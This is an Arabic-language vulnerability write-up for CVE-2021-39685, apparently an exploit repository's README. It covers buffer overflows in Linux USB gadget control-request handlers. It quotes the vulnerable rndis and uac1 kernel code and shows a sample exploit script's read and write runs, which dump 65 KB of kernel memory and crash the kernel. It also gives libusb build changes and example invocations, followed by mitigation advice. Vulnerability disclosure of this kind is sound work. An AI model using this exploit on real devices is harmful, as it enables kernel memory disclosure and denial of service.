
وصف CVE-2021-39685 ومثال استغلال لثغرة تجاوز سعة USB Gadget في Linux
Go Go Gadget Exploit!
_..--"\ `|`""--.._
.-' \ | `'-.
/ \_|___...----'`\
|__,,..--""``(_)--..__ |
'\ _.--'`.I._ ''--..'
`''"`,#JGS/_|_\###,---'`
,#' _.:`___`:-._ '#,
#' ,~'-;(oIo);-'~, '#
# `~-( | )=~` #
# | |_ | #
# ; ._. ; #
# _..-;|\ - /|;-._ #
#-' /_ \\_// _\ '-#
/`# ; /__\-'__\; #`\
; #\.--| |O O |'-./# ;
|__#/ \ _;O__O___/ \#__|
| #\ [I_[_]__I] /# |
\_(# / |O O \ #)_/
/ | \
/ | \
/ /\ \
/ | `\ ;
; \ '. |
\-._.__\ \_..-'/
'.\ \-.._.-/ /'`
\_.\ /._/
\_.; ;._/
.-'-./ \.-'-.
(___.' '.___)
يمكن للمهاجم الوصول إلى ذاكرة النواة متجاوزًا حدود المخزن المؤقت الصالحة من خلال استغلال تنفيذ معالجات طلبات التحكم في أدوات usb التالية - rndis و hid و uac1 و uac1_legacy و uac2. تفتقر معالجة طلبات نقل التحكم الخبيثة ذات قيم wLength الكبيرة بشكل غير متوقع إلى ضمان عدم تجاوز هذه القيمة لحجم المخزن المؤقت. ونتيجة لذلك، يمكن للمهاجم قراءة و/أو كتابة (حسب الحالة) حتى 65 كيلوبايت من ذاكرة النواة.
بعض مسارات تنفيذ معالجات نقل التحكم usb في الأدوات مثل rndis و hid و uac1 و uac1_legacy و uac2 لا تتضمن معالجة صحيحة لطول الطلب (wLength). يجب أن تكون هذه القيمة محدودة بحجم المخزن المؤقت لمنع ثغرات تجاوز سعة المخزن المؤقت في مرحلة نقل البيانات.
المخزن المؤقت المستخدم بواسطة endpoint 0 يُخصص في composite.c بحجم USB_COMP_EP0_BUFSIZ (4096) بايت، لذا فإن تعيين wLength إلى قيمة أكبر من USB_COMP_EP0_BUFSIZ سيؤدي إلى تجاوز سعة المخزن المؤقت.
على سبيل المثال في حالة f_uac1.c، يسمح تنفيذ الدالة f_audio_setup بإجراء قراءات وكتابات تتجاوز حدود المخزن المؤقت. لا تقيّد f_audio_setup ولا أي من الدوال المستدعاة - audio_set_endpoint_req و audio_get_endpoint_req و out_rq_cur و ac_rq_in - قيمة الإرجاع بحيث تكون أصغر من حجم المخزن المؤقت. وبالتالي تستخدم مرحلة نقل البيانات req->length = value = ctrl->wLength وهي قيمة يتحكم بها المهاجم. وهذا يسمح بقراءة أو كتابة حتى 65 كيلوبايت من ذاكرة النواة اعتمادًا على اتجاه نقل التحكم.
static int
f_audio_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything; interface
* activation uses set_alt().
*/
switch (ctrl->bRequestType) {
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_set_endpoint_req(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_ENDPOINT:
value = audio_get_endpoint_req(f, ctrl);
break;
case USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
if (ctrl->bRequest == UAC_SET_CUR)
value = out_rq_cur(f, ctrl);
break;
case USB_DIR_IN | USB_TYPE_CLASS | USB_RECIP_INTERFACE:
value = ac_rq_in(f, ctrl);
break;
default:
ERROR(cdev, "invalid control req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
}
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "audio req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = 0;
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "audio response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
يتيح تنفيذ استغلال القراءة النموذجي تفريغ حتى 65 كيلوبايت من الذاكرة.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | wc -c
65535
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 | strings
nsole=tty1 root=PARTUUID=e02024cb-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait modules-load=dwc2
tem.slice/system-getty.slice/[email protected]
!rE*
?& .4!
0usb_composite_setup_continue
composite_setup
usb_gadget_get_string
usb_otg_descriptor_init
usb_otg_descriptor_alloc
usb_free_all_descriptors
usb_assign_descriptors
usb_copy_descriptors
usb_gadget_config_buf
من ناحية أخرى، يسمح تنفيذ استغلال الكتابة بكتابة بيانات عشوائية تتجاوز حدود المخزن المؤقت المتوقعة.
$ ./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
Message from syslogd@zero at Dec 6 19:56:01 ...
kernel:[ 103.850206] Internal error: Oops: 5 [#1] ARM
وبالمثل في حالة أداة rndis، يمكن استغلال الدالة rndis_setup للكتابة خارج حدود المخزن المؤقت باستخدام طلب نقل تحكم يكون فيه الاتجاه out والنوع class والمتلقي interface وbRequest مضبوطًا على USB_CDC_SEND_ENCAPSULATED_COMMAND.
static int
rndis_setup(struct usb_function *f, const struct usb_ctrlrequest *ctrl)
{
struct f_rndis *rndis = func_to_rndis(f);
struct usb_composite_dev *cdev = f->config->cdev;
struct usb_request *req = cdev->req;
int value = -EOPNOTSUPP;
u16 w_index = le16_to_cpu(ctrl->wIndex);
u16 w_value = le16_to_cpu(ctrl->wValue);
u16 w_length = le16_to_cpu(ctrl->wLength);
/* composite driver infrastructure handles everything except
* CDC class messages; interface activation uses set_alt().
*/
switch ((ctrl->bRequestType << 8) | ctrl->bRequest) {
/* RNDIS uses the CDC command encapsulation mechanism to implement
* an RPC scheme, with much getting/setting of attributes by OID.
*/
case ((USB_DIR_OUT | USB_TYPE_CLASS | USB_RECIP_INTERFACE) << 8)
| USB_CDC_SEND_ENCAPSULATED_COMMAND:
if (w_value || w_index != rndis->ctrl_id)
goto invalid;
/* read the request; process it later */
value = w_length;
req->complete = rndis_command_complete;
req->context = rndis;
/* later, rndis_response_available() sends a notification */
break;
...
...
/* respond with data transfer or status phase? */
if (value >= 0) {
DBG(cdev, "rndis req%02x.%02x v%04x i%04x l%d\n",
ctrl->bRequestType, ctrl->bRequest,
w_value, w_index, w_length);
req->zero = (value < w_length);
req->length = value;
value = usb_ep_queue(cdev->gadget->ep0, req, GFP_ATOMIC);
if (value < 0)
ERROR(cdev, "rndis response on err %d\n", value);
}
/* device either stalls (value < 0) or reports success */
return value;
}
مسارات التنفيذ المعرضة للخطر:
الأجهزة التي تنفذ فئات أدوات usb المتأثرة (rndis و hid و uac1 و uac1_legacy و uac2) قد تتأثر بثغرات تجاوز سعة المخزن المؤقت، مما يؤدي إلى كشف المعلومات أو رفض الخدمة أو تنفيذ كود عشوائي في سياق النواة.
قم بتقييد حجم مرحلة النقل إلى min(len, buffer_size) في معالجات طلبات التحكم المتأثرة لضمان عدم حدوث تجاوز سعة المخزن المؤقت.
يتطلب إصدار طلبات نقل تحكم بقيمة wLength أكبر من 4096 بايت القياسية أن يستخدم المضيف بناءً مخصصًا من libusb مع زيادة MAX_CTRL_BUFFER_LENGTH إلى 0xffff. يمكن تعديل هذه القيمة في libusb/os/linux_usbfs.h قبل البناء.
يتطلب السكربت gadget.py مكتبة pyusb. يمكنك تثبيت هذه الحزمة عبر pip كما يلي.
python3 -m pip install pyusb
يمكن الوصول إلى المساعدة باستخدام المعاملين -h أو --help.
usage: gadget.py [-h] -v VID -p PID [-l LENGTH] [-d {read,write}]
[-f {rndis,uac1,uac1_legacy,uac2,hid}]
Sample exploit for RNDIS gadget class
optional arguments:
-h, --help show this help message and exit
-v VID, --vid VID vendor id
-p PID, --pid PID product id
-l LENGTH, --length LENGTH
lenght of data to write
-d {read,write}, --direction {read,write}
direction of operation from host perspective
-f {rndis,uac1,uac1_legacy,uac2,hid}, --function {rndis,uac1,uac1_legacy,uac2,hid}
أمثلة على الاستدعاءات:
./gadget.py -v 0x1b67 -p 0x400c -f uac1
./gadget.py -v 0x1b67 -p 0x400c -f uac1 -d write
./gadget.py -v 0x18d1 -p 0x4e23 -f rndis
يرجى تحديث النواة إلى أحدث إصدار مستقر.